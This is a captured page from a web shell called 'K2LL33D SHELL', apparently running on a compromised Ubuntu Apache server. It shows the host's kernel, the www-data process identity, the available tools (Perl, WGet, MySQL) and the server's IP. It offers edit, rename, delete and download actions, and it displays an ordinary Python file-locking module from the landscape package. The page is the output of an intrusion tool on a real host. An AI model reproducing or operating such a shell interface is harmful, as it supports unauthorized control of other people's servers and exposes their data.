K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / lib / python2.7 / dist-packages / landscape / lib /
server ip : 104.21.89.46

your ip : 172.70.179.189

H O M E


Filename/usr/lib/python2.7/dist-packages/landscape/lib/lock.py
Size705
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:56
Last modified20-Feb-2014 23:01
Last accessed06-Jul-2025 23:39
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
import fcntl
import time
import os


class LockError(Exception):
"""Raised when unable to lock a file."""


def lock_path(path, timeout=0):
fd = os.open(path, os.O_CREAT)
flags = fcntl.fcntl(fd, fcntl.F_GETFD, 0)
flags |= fcntl.FD_CLOEXEC
fcntl.fcntl(fd, fcntl.F_SETFD, flags)

started = time.time()

while True:
try:
fcntl.flock(fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
except IOError:
if started < time.time() - timeout:
raise LockError("Couldn't obtain lock")
else:
break
time.sleep(0.1)

def unlock_path():
fcntl.flock(fd, fcntl.LOCK_UN)
os.close(fd)

return unlock_path